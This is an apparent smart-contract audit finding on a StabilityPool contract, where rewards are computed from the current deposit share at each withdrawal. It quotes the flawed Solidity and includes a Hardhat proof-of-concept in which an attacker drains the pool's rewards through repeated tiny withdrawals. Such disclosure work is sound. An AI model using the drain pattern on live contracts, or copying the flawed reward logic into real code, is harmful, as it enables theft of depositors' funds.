Target
contracts/core/pools/StabilityPool/StabilityPool.sol
Summary
The withdraw function in the StabilityPool contract calculates rewards based on the current deposit balance of the user relative to the total deposits, this flawed calculation logic allows a user to claim rewards more than their share by withdrawing negligible amounts and continually using the value of their remaining balance to keep claiming rewards thereby draining all the rewards for themselves.
Vulnerability Details
The stability pool allows users to deposit rTokens, minting and burning DETokens based on deposits and withdrawals. Upon withdrawals, it calculates and distribute RAAC rewards to depositors based on the users deposit share of the pool.
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
StabilityPool.withdraw
This reward calculation and transfer happens during withdrawals, at that point, the users RAACRewards is calculated based on their current deposit relative to the total deposit, this determines the share of the rewards sent to the user.
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
StabilityPool.calculateRaacRewards
This however introduces a critical vulnerability since the user can deposit a substantial amount of rTokens, wait till rewards have been supplied to the pool and withdraw a negligible amount of rTokens, each time the user does this, their rewards are calculated based on their total deposit amount without updating any internal accounting therefore the user can continue using this flawed logic to ultimately drain all the rewards from the pool
Impact
Due to this vulnerability an attack can steal all the rewards of other participants in the stability pool
Tools Used
Manual Review
Recommendations
DeTokens should not be minted on a 1 - 1 exchange rate to rToken deposits, instead it should be implemented using the ERC4626 vault standard, this simplifies share value calculation and redemption.
POC
add this test script to test/unit/core/pools/StabilityPool/StabilityPool.test.js
describe("Exploit POC #1", function () {
it("should steal all rewards from pool", async function () {
const depositAmount1 = ethers.parseEther("100");
const depositAmount2 = ethers.parseEther("50");
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await stabilityPool.connect(user3).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
let raacBalance = await raacToken.balanceOf(await stabilityPool.getAddress());
console.log('current rewards in the pool: ' + raacBalance);
let user3Rewards = await stabilityPool.calculateRaacRewards(user3.address)
console.log('attacker init reward ' + user3Rewards );
for (let i = 0; i < 15; i++) {
await stabilityPool.connect(user3).withdraw(1);
}
let balanceOfAttacker = await stabilityPool.getUserDeposit(user3.address);
console.log('attacker remaining balance ', balanceOfAttacker);
raacBalance = await raacToken.balanceOf(await stabilityPool.getAddress());
console.log('current rewards in the pool after attack: ' + raacBalance);
});
});